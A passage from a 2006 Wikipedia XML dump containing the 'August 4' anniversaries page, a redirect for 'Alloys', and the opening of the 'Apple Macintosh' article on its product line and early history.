[[zh:阿利坎特]]</text>
    </revision>
  </page>
  <page>
    <title>August 4</title>
    <id>2418</id>
    <revision>
      <id>41908002</id>
      <timestamp>2006-03-02T15:10:52Z</timestamp>
      <contributor>
        <username>Mr Chuckles</username>
        <id>999422</id>
      </contributor>
      <comment>Revert to revision 41902301 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">{| style=&quot;float:right;&quot;
|- 
|{{AugustCalendar}}
|-
|{{ThisDateInRecentYears|Month=August|Day=4}}
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'''August 4''' is the 216th day of the year in the [[Gregorian Calendar]] (217th in [[leap year]]s), with 149 days remaining.

==Events==
*[[1265]] - The [[Battle of Evesham]] of the [[Second Barons' War]] is fought in [[Worcestershire]], with the army of future King [[Edward I of England]] defeating the forces of rebellious barons led by [[Simon de Montfort, 6th Earl of Leicester]] and killing de Montfort and many of his allies.  This is sometimes considered the death of [[chivalry]] in [[England]].
*[[1578]] - [[Battle of Al Kasr al Kebir]] - Moroccans defeat Portuguese. King [[Sebastian of Portugal]] is defeated and killed in North Africa, leaving his elderly uncle, [[Henry of Portugal|Cardinal Henry]], as his heir.  This initiates a succession crisis in Portugal.
*[[1693]] - Date traditionally ascribed to [[Dom Perignon (person)|Dom Perignon's]] invention of [[Champagne (beverage)|Champagne]].
*[[1704]] - During the [[War of the Spanish Succession]] an Anglo-Dutch force seizes the rock of [[Gibraltar]].
*[[1735]] - [[Freedom of the press]]: [[New York Weekly Journal]] writer [[John Peter Zenger]] is acquitted of seditious [[libel]] against the royal governor of [[New York]], on the basis that what he published was true.
*[[1753]] - [[George Washington]], then a young Virginia planter, becomes a [[Master Mason]], the highest basic rank in the secret fraternity of [[Freemasonry]].
*[[1789]] - The feudal system is abolished in France. 
*[[1790]] - A newly passed [[tariff]] act creates the ''[[Revenue Cutter Service]]'' (the forerunner of the [[United States Coast Guard]]). 
*[[1821]] - Atkinson &amp; Alexander publish the ''[[Saturday Evening Post]]'' for the first time as a weekly [[newspaper]].
*[[1824]] - [[Battle of Cos]] fought between [[Ottoman Empire|Turks]] and [[Greeks]].  
*[[1854]] - The [[Flag of Japan|Hinomaru]] is established as the official flag to be flown from [[Japan|Japanese]] ships.
*[[1873]] - [[Indian Wars]]: While protecting a [[railroad]] survey party in [[Montana]], the [[United States 7th Cavalry]], under Lieutenant Colonel [[George Armstrong Custer]], clash for the first time with the [[Sioux]] (near the [[Tongue River (Montana)|Tongue River]]; only one man on each side is killed).  
*[[1892]] - The family of [[Lizzie Borden]] is found murdered in their [[Fall River, Massachusetts]] home.
*[[1902]] - [[Greenwich foot tunnel]] under the River [[Thames]] opens.
*[[1914]] - [[World War I]]: [[Germany]] invaded [[Belgium]]; in response, the [[United Kingdom]] declares war on Germany. The [[United States]] proclaims neutrality. 
*[[1944]] - [[Holocaust]]: A tip from a [[Netherlands|Dutch]] informer leads the [[Gestapo]] to a sealed-off area in an [[Amsterdam]] warehouse where they find [[Jew]]ish diarist [[Anne Frank]] and her family.  
*[[1947]] - The [[Supreme Court of Japan]] is established.
*[[1964]] - [[American civil rights movement]]: [[Civil rights]] workers [[Michael Schwerner]], [[Andrew Goodman]] and [[James Chaney]] are found dead in [[Mississippi]] after disappearing on [[June 21]].  
*1964 - [[Vietnam War]]: [[United States]] destroyers [[USS Maddox (DD-731)|USS ''Maddox'']] and [[USS Turner Joy (DD-951)|USS ''C. Turner Joy'']] are allegedly attacked in the [[Gulf of Tonkin]]. Air support from the carrier [[USS Ticonderoga (CV-14)|USS ''Ticonderoga'']] sinks two, possibly three [[North Vietnam]]ese gunboats. Years later, the claim of NVA attack was revealed to be false.
*[[1969]] - Vietnam War: At the apartment of [[France|French]] intermediary [[Jean Sainteny]] in [[Paris]], US representative [[Henry Kissinger]] and North Vietnamese representative [[Xuan Thuy]] begin secret peace negotiations. The negotiations will eventually fail. 
*[[1975]] - The [[Japanese Red Army]] takes more than 50 hostages at the AIA building housing several embassies in [[Kuala Lumpur]], [[Malaysia]]. The hostages included the [[United States|U.S.]] consul and the [[Sweden|Swedish]] charge d'affaires. The gunmen win the release of five imprisoned comrades and fly with them to [[Libya]].
*[[1977]] - US President [[Jimmy Carter]] signs legislation creating the [[United States Department of Energy]].
*[[1983]] - [[Thomas Sankara]] becomes president of [[Upper Volta]]. 
*1983 - [[New York Yankees|New York Yankee]] [[outfielder]] [[Dave Winfield]] accidentally killed a [[seagull]] during a [[baseball]] game and was charged by police for his &quot;act of cruelty to animals&quot;.  His [[manager (baseball)|manager]] [[Billy Martin]] quipped, &quot;It's the first time he's hit the [[List of baseball jargon|cutoff man]].&quot;
*[[1984]] - The [[Africa]]n republic [[Upper Volta]] changes its name to [[Burkina Faso]]. 
*[[1985]] - In one of the most exciting days in sports, [[Tom Seaver]] of the [[Chicago White Sox]] won his [[300 win club|300th game]] and [[Rod Carew]] of the [[California Angels]] picked up his [[3000 hits|3000th hit]]. It marked the only day in which two men reached baseball's three biggest milestones in the same day.
*[[1987]] - The [[Federal Communications Commission]] rescinds the [[Fairness Doctrine]] which had required [[radio]] and [[television]] stations to &quot;fairly&quot; present controversial issues.
*[[1991]] - The [[Greece|Greek]] cruise ship ''[[Oceanos]]'' sinks off the coast of [[South Africa]].
*[[1993]] - A federal judge sentences [[Los Angeles Police Department|LAPD]] officers  [[Stacey Koon]] and [[Laurence Powell]] to 30 months in prison for violating motorist [[Rodney King]]'s [[civil rights]]. 
*[[1995]] - [[Operation Storm]] begins in Croatia.
*[[1997]] - 185,000 [[Teamsters]] union [[United Parcel Service]] drivers walk off the job.
*[[2005]] - [[Prime Minister of Canada|Prime Minister]] [[Paul Martin]] announces that [[Michaëlle Jean]] will be Canada's 27th — and first [[Black Canadian|black]] — [[Governor General of Canada|Governor General]].

==Births==
*[[1222]] - [[Richard de Clare, 6th Earl of Hertford]], English soldier (d. [[1262]])
*[[1290]] - Duke [[Leopold I of Austria (Habsburg)|Leopold I of Austria]] (d. [[1326]])
*[[1521]] - [[Pope Urban VII]], (d. [[1590]])
*[[1604]] - [[François Hédelin, abbé d'Aubignac]], French writer (d. [[1676]])
*[[1701]] - [[Thomas Blackwell]], Scottish classical scholar (d. [[1757]])
*[[1719]] - [[Johann Gottlob Lehmann]], German minerologist and geologist (d. [[1767]])
*[[1721]] - [[Granville Leveson-Gower, 1st Marquess of Stafford]], English politician (d. [[1803]])
*[[1792]] - [[Percy Bysshe Shelley]], English poet (d. [[1822]])
*[[1805]] - [[William Rowan Hamilton]], Irish mathematician (d. [[1865]])
*[[1834]] - [[John Venn]], English mathematician (d. [[1923]])
*[[1840]] - [[Richard von Krafft-Ebing]], German psychiatrist (d. [[1902]])
*[[1859]] - [[Knut Hamsun]], Norwegian writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (d. [[1952]])
*[[1870]] - Sir [[Harry Lauder]], Scottish entertainer (d. [[1950]])
*[[1899]] - [[Ezra Taft Benson]], president of [[Church of Jesus Christ of Latter-day Saints|The Church of Jesus Christ of Latter-day Saints]] (d. [[1994]])
*[[1900]] - [[Elizabeth Bowes-Lyon]], Queen Mother of the United Kingdom (d. [[2002]])
*[[1901]] - [[Louis Armstrong]], American musician (d. [[1971]])
*[[1904]] - [[Witold Gombrowicz]], Polish novelist and dramatist (d. [[1969]])
*[[1906]] - [[Eugen Schuhmacher]], German zoologist (d. [[1973]])
*[[1908]] - [[Kurt Eichhorn]], German conductor (d. [[1994]])
*[[1909]] - [[Glenn Cunningham (runner)|Glenn Cunningham]], runner (d. [[1988]])
*[[1910]] - [[William Schuman]], American composer (d. [[1992]])
*[[1912]] - [[Aleksandr Danilovich Aleksandrov]], Russian mathematician, physicist, philosopher, and mountaineer (d. [[1999]])
*  1912   - [[Raoul Wallenberg]], Swedish diplomat
*[[1913]] - [[Robert Hayden]], American poet (d. [[1980]])
*[[1921]] - [[Maurice Richard]], Canadian hockey player (d. [[2000]])
*[[1923]] - [[Reg Grundy]], Australian media and television mogul
*[[1927]] - [[Jess Thomas]], American tenor (d. [[1993]])
*[[1929]] - [[Yasser Arafat]], Palestine leader (d. [[2004]])
*  1929   - [[Kishore Kumar]], Indian singer and actor (d. [[1987]])
*[[1936]] - [[Assia Djebar]], Algerian writer and filmmaker
*[[1937]] - [[David Bedford]], English musician
*[[1942]] - [[David Lange]], [[Prime Minister of New Zealand]] (d. [[2005]])
*[[1943]] - [[Bjørn Wirkola]], Norwegian ski jumper
*[[1944]] - [[Richard Belzer]], American actor and comedian
*[[1946]] - [[Maureen Starkey]], one-time wife of Beatle, [[Ringo Starr]] (d. [[1994]])
*[[1947]] - [[Klaus Schulze]], German composer
*[[1952]] - [[Gábor Demszky]], Hungarian politician
*[[1955]] - [[Billy Bob Thornton]], American actor and writer
*[[1957]] - [[John Wark]], Scottish footballer
*[[1958]] - [[Mary Decker]], American athlete
*[[1960]] - [[Dean Malenko]], American professional wrestler
*  1960   - [[José Luis Rodríguez Zapatero]], [[Prime Minister of Spain]]
*[[1961]] - [[Barack Obama]], American politician
*[[1962]] - [[Roger Clemens]], American baseball player
*[[1967]] - [[Mike Marsh]], American athlete
*[[1968]] - [[Marcus Schenkenberg]], Swedish model
*  1968   - [[Daniel Dae Kim]], American actor
*[[1970]] - [[Michael DeLuise]], American actor
*[[1971]] - [[Jeff Gordon]], American race car driver
*[[1972]] - [[Stefan Brogren]], Canadian actor
*[[1974]] - [[Cristian González]], Argentine footballer
*[[1977]] - [[Luis Boa Morte]], Portuguese footballer
*[[1978]] - [[Kurt Busch]], American race car driver
*[[1985]] - [[Ha Seung-Jin]], Korean basketball player
*[[1992]] - [[Dylan and Cole Sprouse]], Italian-born American child actors

==Deaths==
*[[1060]] - King [[Henry I of France]] (b. [[1008]])
*[[1265]] - Killed in the Battle of Evesham:
**[[Hugh le Despencer, 1st Baron le Despencer]] (b. [[1223]])
**[[Henry de Montfort]] (b. [[1238]])
**[[Peter de Montfort]]
**[[Simon de Montfort, 6th Earl of Leicester]] (b. [[1208]])
*[[1306]] - King [[Wenceslaus III of Bohemia]] (b. [[1289]])
*[[1338]] - [[Thomas of Brotherton, 1st Earl of Norfolk]], son of [[Edward I of England]] (b. [[1300]])
*[[1526]] - [[Juan Sebastián Elcano]], Spanish explorer (b. [[1476]])
*[[1578]] - King [[Sebastian of Portugal]] (b. [[1554]])
*1578 - [[Thomas Stucley]], English adventurer
*[[1598]] - [[William Cecil, 1st Baron Burghley]], English statesman (b. [[1520]])
*[[1612]] - [[Hugh Broughton]], English scholar (b. [[1549]])
*[[1639]] - [[Juan Ruiz de Alarcón]], Mexican dramatist
*[[1727]] - [[Victor-Maurice, comte de Broglie]], French general (b. [[1647]])
*[[1741]] - [[Andrew Hamilton (lawyer)|Andrew Hamilton]], American lawyer
*[[1784]] - [[Giovanni Battista Martini]], Italian musician (b. [[1706]])
*[[1792]] - [[John Burgoyne]], British general (b. [[1723]])
*[[1795]] - [[Timothy Ruggles]], American-born Tory politician (b. [[1711]])
*[[1875]] - [[Hans Christian Andersen]], Danish writer (b. [[1805]])
*[[1938]] - [[Pearl White]], American actress (b. [[1889]])
*[[1957]] - [[Washington Luís Pereira de Sousa]], President of Brazil (b. [[1869]])
*[[1976]] - [[Roy Herbert Thomson]], Lord Thomson of Fleet, Canadian publisher (b. [[1894]])
*[[1977]] - [[Edgar Douglas Adrian, 1st Baron Adrian]], English physiologist, [[Nobel Prize in Physiology or Medicine|Nobel Prize]] laureate (b. [[1889]])
*[[1981]] - [[Melvyn Douglas]], American actor (b. [[1901]])
*[[1998]] - [[Yuri Artyukhin]], cosmonaut (b. [[1930]])
*[[1999]] - [[Victor Mature]], American actor (b. [[1915]])
*[[2001]] - [[Lorenzo Music]], American actor, writer, and producer (b. [[1937]])
*[[2003]] - [[Frederick Chapman Robbins]], American pediatrician and virologist, recipient of the [[Nobel Prize in Physiology or Medicine]] (b. [[1916]])

==Holidays and observances==
*[[Roman Catholic Church|Roman Catholicism]] - [[Jean Vianney|Saint John Vianney]] &amp;ndash; Patron Saint of Priests
*[[Burkina Faso]] - Anniversary of the Revolution
*[[Cook Islands]] - Constitution Day (celebrations begin on the last Friday in July and last up to 2 weeks.)
*[[El Salvador]] - Transfiguration Bank Holiday
*[[Ancient Egypt]] - Jubilation of the Heart of Re

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/4 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/20050804.html ''The New York Times'': On This Day]

----

[[August 3]] - [[August 5]] - [[July 4]] - [[September 4]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:4 Augustus]]
[[ar:4 أغسطس]]
[[an:4 d'agosto]]
[[ast:4 d'agostu]]
[[bg:4 август]]
[[be:4 жніўня]]
[[bs:4. avgust]]
[[ca:4 d'agost]]
[[ceb:Agosto 4]]
[[cv:Çурла, 4]]
[[co:4 d'aostu]]
[[cs:4. srpen]]
[[cy:4 Awst]]
[[da:4. august]]
[[de:4. August]]
[[et:4. august]]
[[el:4 Αυγούστου]]
[[es:4 de agosto]]
[[eo:4-a de aŭgusto]]
[[eu:Abuztuaren 4]]
[[fo:4. august]]
[[fr:4 août]]
[[fy:4 augustus]]
[[ga:4 Lúnasa]]
[[gl:4 de agosto]]
[[ko:8월 4일]]
[[hr:4. kolovoza]]
[[io:4 di agosto]]
[[id:4 Agustus]]
[[ia:4 de augusto]]
[[ie:4 august]]
[[is:4. ágúst]]
[[it:4 agosto]]
[[he:4 באוגוסט]]
[[jv:4 Agustus]]
[[ka:4 აგვისტო]]
[[csb:4 zélnika]]
[[ku:4'ê gelawêjê]]
[[lt:Rugpjūčio 4]]
[[lb:4. August]]
[[li:4 augustus]]
[[hu:Augusztus 4]]
[[mk:4 август]]
[[ms:4 Ogos]]
[[nap:4 'e aùsto]]
[[nl:4 augustus]]
[[ja:8月4日]]
[[no:4. august]]
[[nn:4. august]]
[[oc:4 d'agost]]
[[pl:4 sierpnia]]
[[pt:4 de Agosto]]
[[ro:4 august]]
[[ru:4 августа]]
[[sq:4 Gusht]]
[[scn:4 di austu]]
[[simple:August 4]]
[[sk:4. august]]
[[sl:4. avgust]]
[[sr:4. август]]
[[fi:4. elokuuta]]
[[sv:4 augusti]]
[[tl:Agosto 4]]
[[tt:4. August]]
[[te:ఆగష్టు 4]]
[[th:4 สิงหาคม]]
[[vi:4 tháng 8]]
[[tr:4 Ağustos]]
[[uk:4 серпня]]
[[wa:4 d' awousse]]
[[war:Agosto 4]]
[[zh:8月4日]]
[[pam:Agostu 4]]</text>
    </revision>
  </page>
  <page>
    <title>Alloys</title>
    <id>2419</id>
    <revision>
      <id>15900836</id>
      <timestamp>2003-07-19T23:19:54Z</timestamp>
      <contributor>
        <username>Cgs</username>
        <id>9162</id>
      </contributor>
      <comment>Redirecting</comment>
      <text xml:space="preserve">#REDIRECT [[Alloy]]</text>
    </revision>
  </page>
  <page>
    <title>Apple Macintosh</title>
    <id>2420</id>
    <revision>
      <id>42155960</id>
      <timestamp>2006-03-04T04:43:00Z</timestamp>
      <contributor>
        <username>Tachikoma</username>
        <id>865752</id>
      </contributor>
      <minor />
      <comment>/* Processor architecture */ Motorola 68000</comment>
      <text xml:space="preserve">[[Image:Macintosh 128k transparency.png|thumb|250px|The [[Macintosh 128K|first Macintosh computer]], introduced in 1984, upgraded to 512KB.]]
{{portal}}
The '''Macintosh''', or '''Mac''', line of [[personal computer]]s is designed, developed, manufactured, and marketed by [[Apple Computer]]. Named after the [[McIntosh|McIntosh apple]], the [[Macintosh 128K|original Macintosh]] was released on [[January 24]], [[1984]]. It was the first commercially successful personal computer to use a [[graphical user interface]] (GUI) and [[Mouse (computing)|mouse]] instead of the then-standard [[command line interface]]. 

The current range of Macintoshes varies from Apple's &quot;budget&quot; [[Mac mini]] desktop, to its mid-range server, the [[Xserve]]. Macintosh systems are mainly targeted towards the home, education, and creative professional markets; more recently, the Xserve G5 server has enabled Apple to gain entry to the corporate market. Production of the Macintosh is based upon a [[vertical integration]] model, in that Apple facilitates all aspects of its hardware, and creates its own operating system, the same method used in [[video game console|gaming consoles]] (the original IBM PC was conceived as a vertically integrated platform but in a key decision, Microsoft was able to retain the rights to its software).

The [[Mac OS history|original Macintosh operating system]] underwent many major revisions. However, the final version, [[Mac OS 9|Mac OS 9.2.2]], still lacked many modern operating system features. In 2001, Apple introduced the new [[Berkeley Software Distribution|BSD]] [[Unix-like|Unix]]-based [[Mac OS X]], featuring improved stability, multitasking and multi-user capability, while supporting older &quot;Classic&quot; applications by providing a [[Classic (Mac OS X)|&quot;Classic&quot; compatibility layer]]. The current version of Mac OS X is [[Mac OS X v10.4|Mac OS X v10.4 Tiger]], which is sold preinstalled in all Macs. (The Xserve comes with [[Mac OS X Server]].) To complement the Macintosh, Apple has developed a series of digital media applications (collectively the [[iLife]] suite), two applications that are geared towards productivity (the [[iWork]] suite), and software aimed at the creative professional market, including [[Final Cut Pro]], [[Shake (software)|Shake]], and [[Aperture (photography software)|Aperture]].

== Current product line ==
{| class=&quot;wikitable&quot;
|-
!Image
!Name
!Type
!Market
!Description
|-
|style=&quot;text-align:center;background-color:white&quot;| [[Image:MacminiWhiteBGSmall.jpg|50px|The Mac mini]]
|[[Mac mini]]
|Desktop
|Consumer
|The Mac mini is the least expensive Macintosh currently in production, and the only consumer Macintosh desktop that does not ship with a monitor. It comes in two versions, one with a 1.5GHz [[Intel]] [[Intel Core|Core Solo]] and one with a 1.66GHz [[Intel Core|Core Duo]].
|-
|style=&quot;text-align:center;background-color:white&quot;| [[Image:IMacG5FR whiteBG.jpg|50px|The iMac G5]]
|[[iMac]]
|Desktop
|Consumer
|The iMac is Apple's current flagship consumer desktop computer, powered by the [[Intel]] [[Intel Core|Core Duo]] CPU; the current models are the first in the Macintosh's history to use an Intel processor of any kind. Apple claimed up to 2-3x performance gains at some benchmarks over the previous model, the iMac G5, which is still listed on [http://store.apple.com/1-800-MY-APPLE/WebObjects/AppleStore.woa the online Apple Store], though performance gains in real-world tests are proving less dramatic, except when bound by the graphics card[http://barefeats.com/imcd.html].
|-
|style=&quot;text-align:center;background-color:white&quot;| [[Image:EMac.jpg|50px|The eMac]]
|[[eMac]]
|Desktop
|Education
|The eMac is a low-end desktop model originally intended for the educational market. It was sold freely to all markets from June 4th, 2002&lt;ref&gt;[http://www.apple.com/pr/library/2002/jun/04emac.html: Apple To Offer Popular eMac to Consumers], retrieved [[February 10]], [[2005]]&lt;/ref&gt; to October 12th, 2005&lt;ref&gt;[http://www.macworld.com/news/2005/10/12/emac/index.php eMac gone for consumers, but available for schools], retrieved [[November 10]], [[2005]]&lt;/ref&gt;, but is now once again restricted to educational institutions only. It features a built-in CRT screen and a PowerPC 745x-based G4 processor.
|-
|style=&quot;text-align:center;background-color:white&quot;| [[Image:Power_Mac_G5.jpg|30px|The PowerMac G5]]
|[[Power Mac]]
|Desktop
|Professional
|The Power Mac is Apple's most expensive, high-end workstation computer. The top-of-the-line model currently features two, dual-core [[PowerPC 970|PowerPC G5]] 970MP processors, which Apple has dubbed the &quot;Quad-Core,&quot; though this is a bit of a misnomer, as a true quad-core processor is one die with four cores.
|-
|style=&quot;text-align:center;;background-color:white&quot;| [[Image:IBook_G4.jpg|50px|The iBook G4]]
|[[iBook]]
|Portable
|Consumer
|The iBook is Apple's consumer portable. It uses a PowerPC 7447A G4 processor at a lower clock rate than the more full-featured, professional PowerBook line. It is unknown when it will be converted to use Intel chips.
|-
|style=&quot;text-align:center;background-color:white&quot;| [[Image:AluminiumG4.jpg|50px|The Aluminum PowerBook G4]]
|[[PowerBook]]
|Portable
|Professional
|The PowerBook is a high-end portable workstation computer which topped-out with the PowerPC G4. The PowerBook never used the G5 processor, reportedly because power consumption and overheating issues of the G5 made it impractical for portable applications. The 15&quot; model has been replaced by the [[Intel]] [[Intel Core|Core Duo]]-powered [[MacBook Pro]], which Apple is claiming to be significantly faster than the previous PowerBook G4s. However, the 12&quot; and 17&quot; PowerBook are still [http://store.apple.com/1-800-MY-APPLE/WebObjects/AppleStore.woa available] from Apple.
|-
|style=&quot;text-align:center;background-color:white&quot;| [[Image:MacBook.jpg|50px|The MacBook Pro]]
|[[MacBook Pro]]
|Portable
|Professional
|The MacBook Pro is a high-end portable workstation computer which runs an [[Intel]] [[Intel Core|Core Duo]]-powered processor, in 1.83GHz or 2.0GHz models, and for the first time in years, there is an option to upgrade (just the processor) to 2.16GHz on the 2.0GHz model. The MacBook Pro also features a 15.4&quot; TFT Screen, and an innovation called [[MagSafe]], which uses magnets to hold the power adapter in place. The model was announced on [[January 10]], [[2006]] and is now shipping. Apple is claiming it is up to four times faster than the previous [[PowerBook G4]]s at some benchmarks.
|-
|style=&quot;text-align:center;background-color:white&quot;| [[Image:Xserve G5.jpg|80px|The Xserve G5]]
|[[Xserve]]
|Server
|Enterprise
|The Xserve G5 is an enterprise-grade 1U [[rack unit|rack-mount]] server, specifically marketed towards mission critical data centers and enterprise client services. It uses the PowerPC 970FX version of the G5, shipping with either one or two PowerPC G5s. 
|}

The current iMac ships with the [[Apple Mighty Mouse|Mighty Mouse]], a distinctive white [[computer keyboard|keyboard]], [[Bluetooth]] and [[AirPort]] cards, an internal [[iSight]] camera, the [[Apple Remote]] for use with [[Front Row]], and a power cord. A Bluetooth wireless keyboard and mouse are available for additional cost. Although not all models currently come with all of these, it is possible that some of these accessories will come to be standard with other models. Like the Xserve, the iMac G5 uses the PowerPC 970FX G5 at up to 2.1GHz; the new iMac uses the Intel Core Duo at up to 2.0GHz.

== History ==
{{main|History of Apple Computer}}

=== 1979–84: Development and introduction ===
[[Image:Mac Design Team.jpg|thumb|250px|A part of the original Macintosh design team, as seen on the cover of Revolution in the Valley. &lt;br /&gt;&lt;small&gt;Left to right: [[George Crow]], [[Joanna Hoffman]], [[Burrell Smith]], [[Andy Hertzfeld]], [[Bill Atkinson]], [[Jerry Mannock]].&lt;/small&gt;]]
The Macintosh project started in early 1979 with [[Jef Raskin]], an Apple employee, who envisioned an easy-to-use, low-cost computer for the average consumer. In September 1979, Raskin was given permission to start hiring for the project, and he began to look for an engineer who could put together a prototype. [[Bill Atkinson]], a member of the Lisa team (which was developing a similar but higher-end computer), introduced him to [[Burrell Smith]], a service technician who had been hired earlier that year as Apple employee #282. Over the years, Raskin hired a large development team that designed and built the original Macintosh [[hardware]] and [[Computer software|software]]; besides Raskin, Atkinson and Smith, the team included [[Chris Espinosa]], [[Joanna Hoffman]], [[George Crow]], [[Jerry Manock]], [[Susan Kare]] and [[Andy Hertzfeld]].

Smith's first Macintosh board design was built to Raskin's specifications: it had 64 [[kilobytes]] of [[Random Access Memory|RAM]], used the Motorola 6809E [[microprocessor]], and was capable of supporting a 256 × 256 [[pixel]] [[black-and-white]] [[bitmap]] display. (The final product used a 9&quot;, 512x342 [[monochrome]] display.) [[Bud Tribble]], a Macintosh programmer, was interested in running the Lisa's graphical programs on the Macintosh, and asked Smith whether he could incorporate the Lisa’s [[Motorola 68000]] microprocessor into the Mac while still keeping the production cost down. By December 1980, Smith had succeeded in designing a board that not only used the 68000, but made it faster, bumping it from 5 to 8 [[Megahertz]], a 60% clock speed increase; this board also had the capacity to support a 384 × 256 bitmap display. Smith’s design used fewer RAM chips than the Lisa, and because of this, production of the board was significantly more cost-efficient&lt;ref&gt;[http://www.folklore.org/StoryView.py?story=Five_Different_Macs.txt Andy Hertzfeld: Five different Macintoshes], retrieved [[November 9]], [[2005]]&lt;/ref&gt;. At this time in December 1980, Smith's Macintosh (personally [[Wire wrap|wire-wrap]]ped by hand by Smith himself) was the only one in existence, though Brian Howard and Dan Kottke had already begun wire-wrapping their own. By this time Tribble had already written a boot ROM which filled the screen with the proverbial &quot;hello&quot;, a 32 pixel-wide bitmap which demonstrated the Macintosh's sharp video. The final Mac design was self-contained and had far more programming code in [[read-only memory|ROM]] than most other computers; it had 128KB of RAM, in the form of sixteen, 64-[[Kilobit|Kbit]] RAM chips soldered to the [[motherboard|logicboard]]. Though there were no memory slots, it was expandable to 512KB of RAM by means of soldering sixteen 256-Kbit RAM chips in place of the factory-installed chips. This was thanks to Burrell Smith's clever work: he routed a few extra lines on the PC board, making the 256-Kbit chips on the horizon useable in the Mac. This meant adventurous Mac users could upgrade their &quot;Mac 128K&quot; to 512KB of RAM without buying a whole new machine. [[Steve Jobs]] was utterly against this at the time (because he didn't want people &quot;mucking around inside the Mac&quot; and because he wanted them to buy the 512K Mac after it came out), but Burrell slipped it in quickly and no one told Jobs, to the benefit of Macintosh owners.

[[Image:Ad apple 1984 4.png|200px|left|thumb|The announcer's dialogue in Apple’s [[1984 (television commercial)|1984 ad]] scrolls across the screen as he says it. The text advertises that the Macintosh would defeat the &quot;[[Orwellian]]&quot; dominance of PCs.]]

The innovative design caught the attention of Steve Jobs, the co-founder of Apple. Realizing that the Macintosh was more marketable than the Lisa, he began to focus his attention on the project. Raskin finally left the Macintosh project in 1981 over a personality conflict with Jobs, and the final Macintosh design is said to be closer to Jobs’ ideas than Raskin’s&lt;ref&gt;[http://www.folklore.org/StoryView.py?story=The_Father_of_The_Macintosh.txt Andy Hertzfeld: The father of the Macintosh], retrieved [[November 19]], [[2005]]&lt;/ref&gt;. After hearing about the pioneering graphical user interface (GUI) technology being developed at Xerox PARC, Steve Jobs negotiated a visit to see the [[Xerox Alto]] computer and [[Smalltalk]] development tools in exchange for Apple stock options. The Lisa and Macintosh user interfaces were clearly influenced by the one designed at Xerox. Jobs also commissioned industrial designer [[Hartmut Esslinger]] to work on the Macintosh line, resulting in the [[Snow White design language|&quot;Snow White&quot; design language]]; although it came too late for the earliest Macs, it was implemented in most other mid- to late-1980s Apple computers&lt;ref&gt;[http://www.landsnail.com/apple/local/design/design2.html History of computer design: Snow White], retrieved [[November 9]], [[2005]]&lt;/ref&gt;. However, Jobs’ leadership at the Macintosh project was short lived; after an internal power struggle with Apple’s new CEO [[John Sculley]], Jobs resigned from Apple in 1985, went on to found [[NeXT]], another computer company, and did not return until 1997. Sculley completely undermined what the Mac team had been trying to do with the price of the Macintosh, when he artificially inflated the Mac's price from $1,995 to $2,495. The Mac team had been working incredibly hard to keep down the price in every aspect of its design, but neither Jobs nor anyone else was able to convince him otherwise, and the Mac launched at $2,495- twenty-five percent higher than intended. 

The Macintosh was officially announced on [[January 22]], [[1984]], with the now-famous [[1984 (television commercial)|1984 Super Bowl commercial]] directed by Ridley Scott. The Mac itself was officially introduced and went on sale on [[January 24]], [[1984]] for a retail price of $2,495, bundled with two useful programs designed to show off its interface: [[MacWrite]] and [[MacPaint]]. Although the Mac garnered an immediate, enthusiastic following, it was too radical for some. Because the machine was entirely designed around the GUI, existing text-mode and [[command line interface|command-driven program]]s had to be redesigned and rewritten; this was a challenging undertaking that many [[software developer]]s shied away from, and resulted in an initial lack of software for the new system. Many users, accustomed to the arcane world of command lines, labeled the Mac a mere &quot;toy.&quot; In 2004, twenty years later, Apple irked some long-time Mac users by rerunning the 1984 commercial on its website, with an Apple iPod digitally inserted, worn by the woman, played by [[Anya Major]].

=== 1985–89: The desktop publishing era ===
In 1985, the combination of the Mac, Apple’s [[LaserWriter]] printer, and Mac-specific software like Boston Software's MacPublisher and [[Adobe PageMaker|Aldus PageMaker]] (now Adobe PageMaker) enabled users to design, preview, and print page layouts complete with text and graphics, an activity known as [[desktop publishing]]. Desktop publishing was unique to the Macintosh, but eventually became available for PC users as well. Later, programs such as  [[Macromedia FreeHand]], [[QuarkXPress]] and [[Adobe Illustrator]] strengthened the Mac's position as a graphics computer and helped to expand the emerging desktop publishing market.

The limitations of the first Mac soon became clear: it had very little memory, even compared with other personal computers in 1984, and could not be expanded easily; and it lacked a [[Hard disk|hard drive]] and the means to attach one easily. Although by 1985 the Mac’s base memory had increased to 512KB, and it was possible, although inconvenient and difficult, to expand the memory of a 128KB Mac, Apple realized that the Mac needed improvement in these areas. The result was the [[Macintosh Plus]], released in 1986. It offered one megabyte of RAM, expandable to four, and a then-revolutionary [[SCSI]] parallel interface, allowing up to seven peripherals&amp;mdash;such as hard drives and scanners&amp;mdash;to be attached to the machine. Its [[floppy drive]] was increased to 800-kilobyte capacity. The Plus was an immediate success and remained in production for four years.

[[Image:Macintosh II.jpg|thumb|200px|left|The [[Macintosh II]], the first expandable Macintosh.]]

Other issues remained, particularly the low processor speed and limited graphics ability, which had hobbled the Mac’s ability to make inroads into the business computing market. Updated [[Motorola]] [[Central processing unit|CPUs]] made a faster machine possible, and in 1987 Apple took advantage of the new Motorola technology and introduced the [[Macintosh II]], which used a 16MHz [[Motorola 68020]] processor. This marked the start of a new direction for the Macintosh, as now, for the first time, it had open architecture with several expansion slots, support for color graphics and a modular break out design similar to that of the IBM PC and inspired by Apple's other line, the expandable Apple II series. Alongside the Macintosh II, the [[Macintosh SE]] was released, the first compact Mac with an internal expansion slot. (SE aptly stood for System Expansion.) The SE shared the Macintosh II’s &quot;Snow White&quot; design language, as well as the new [[Apple Desktop Bus]] mouse and keyboard that had first appeared on the [[Apple IIGS|Apple II&lt;small&gt;GS&lt;/small&gt;]] some months earlier.

